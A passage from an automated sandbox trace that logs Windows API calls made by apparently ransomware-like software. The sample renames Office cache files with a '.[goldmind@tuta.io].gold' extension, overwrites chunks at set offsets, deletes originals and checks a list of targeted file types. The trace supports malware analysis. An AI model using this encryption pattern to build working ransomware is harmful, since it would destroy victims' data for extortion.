lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.798] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0042.798] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.798] ReadFile (in: hFile=0x178, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.837] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.837] ReadFile (in: hFile=0x178, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.851] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.852] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0042.852] ReadFile (in: hFile=0x178, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.886] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0042.887] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0043.121] SetEndOfFile (hFile=0x178) returned 1 [0043.121] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fec018 [0043.124] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.124] WriteFile (in: hFile=0x178, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.124] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.124] WriteFile (in: hFile=0x178, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.125] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.125] WriteFile (in: hFile=0x178, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.127] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fec018 | out: hHeap=0x880000) returned 1 [0043.127] CloseHandle (hObject=0x178) returned 1 [0043.127] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.127] lstrlenW (lpString=".doc") returned 4 [0043.127] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.127] lstrlenW (lpString=".docx") returned 5 [0043.127] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.127] lstrlenW (lpString=".pdf") returned 4 [0043.127] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.127] lstrlenW (lpString=".xls") returned 4 [0043.127] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.127] lstrlenW (lpString=".xlsx") returned 5 [0043.127] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.127] lstrlenW (lpString=".ppt") returned 4 [0043.127] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.127] lstrlenW (lpString=".zip") returned 4 [0043.127] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.127] lstrlenW (lpString=".rar") returned 4 [0043.127] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".bz2") returned 4 [0043.128] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.128] lstrlenW (lpString=".7z") returned 3 [0043.128] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".dbf") returned 4 [0043.128] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".1cd") returned 4 [0043.128] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".jpg") returned 4 [0043.128] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".doc") returned 4 [0043.128] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".docx") returned 5 [0043.128] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.128] lstrlenW (lpString=".pdf") returned 4 [0043.128] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".xls") returned 4 [0043.128] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".xlsx") returned 5 [0043.128] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.128] lstrlenW (lpString=".ppt") returned 4 [0043.128] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".zip") returned 4 [0043.128] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".rar") returned 4 [0043.128] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString=".bz2") returned 4 [0043.128] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.128] lstrlenW (lpString=".7z") returned 3 [0043.128] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".dbf") returned 4 [0043.128] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".1cd") returned 4 [0043.128] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0043.128] lstrlenW (lpString=".jpg") returned 4 [0043.128] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.129] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0043.129] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0043.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.129] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=868864) returned 1 [0043.129] CloseHandle (hObject=0x178) returned 1 [0043.129] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0043.129] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.129] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0043.129] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0043.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0043.130] GetLastError () returned 0x0 [0043.130] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xd4200, lpOverlapped=0x0) returned 1 [0043.376] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0043.398] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0043.398] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xf4, lpOverlapped=0x0) returned 1 [0043.398] SetEndOfFile (hFile=0x1b0) returned 1 [0043.398] CloseHandle (hObject=0x1b0) returned 1 [0043.398] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0043.398] SetEndOfFile (hFile=0x178) returned 1 [0043.404] CloseHandle (hObject=0x178) returned 1 [0043.404] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.404] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0043.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.404] lstrlenW (lpString=".doc") returned 4 [0043.404] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.404] lstrlenW (lpString=".docx") returned 5 [0043.404] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0043.404] lstrlenW (lpString=".pdf") returned 4 [0043.404] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.404] lstrlenW (lpString=".xls") returned 4 [0043.404] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.404] lstrlenW (lpString=".xlsx") returned 5 [0043.405] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0043.405] lstrlenW (lpString=".ppt") returned 4 [0043.405] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".zip") returned 4 [0043.405] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".rar") returned 4 [0043.405] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".bz2") returned 4 [0043.405] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString=".7z") returned 3 [0043.405] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".dbf") returned 4 [0043.405] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".1cd") returned 4 [0043.405] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".jpg") returned 4 [0043.405] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".doc") returned 4 [0043.405] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString=".docx") returned 5 [0043.405] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0043.405] lstrlenW (lpString=".pdf") returned 4 [0043.405] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".xls") returned 4 [0043.405] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".xlsx") returned 5 [0043.405] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0043.405] lstrlenW (lpString=".ppt") returned 4 [0043.405] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".zip") returned 4 [0043.405] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".rar") returned 4 [0043.405] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.405] lstrlenW (lpString=".bz2") returned 4 [0043.405] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString=".7z") returned 3 [0043.405] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".dbf") returned 4 [0043.405] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".1cd") returned 4 [0043.405] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0043.405] lstrlenW (lpString=".jpg") returned 4 [0043.406] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.406] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0043.406] lstrlenW (lpString="osetup.dll") returned 10 [0043.406] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.406] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=7378792) returned 1 [0043.406] CloseHandle (hObject=0x178) returned 1 [0043.406] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0043.406] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.406] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0043.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.407] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0043.407] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0043.407] ReadFile (in: hFile=0x178, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.453] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0043.453] ReadFile (in: hFile=0x178, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.516] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.516] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0043.516] ReadFile (in: hFile=0x178, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.765] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0043.765] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0043.773] SetEndOfFile (hFile=0x178) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f34090 [0043.850] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.850] WriteFile (in: hFile=0x178, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.852] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.852] WriteFile (in: hFile=0x178, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.853] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0043.853] WriteFile (in: hFile=0x178, lpBuffer=0x3f34090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34090*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.854] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f34090 | out: hHeap=0x880000) returned 1 [0043.855] CloseHandle (hObject=0x178) returned 1 [0043.855] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".doc") returned 4 [0043.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".docx") returned 5 [0043.856] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0043.856] lstrlenW (lpString=".pdf") returned 4 [0043.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".xls") returned 4 [0043.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".xlsx") returned 5 [0043.856] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0043.856] lstrlenW (lpString=".ppt") returned 4 [0043.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".zip") returned 4 [0043.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".rar") returned 4 [0043.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".bz2") returned 4 [0043.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.856] lstrlenW (lpString=".7z") returned 3 [0043.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".dbf") returned 4 [0043.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".1cd") returned 4 [0043.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".jpg") returned 4 [0043.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.856] 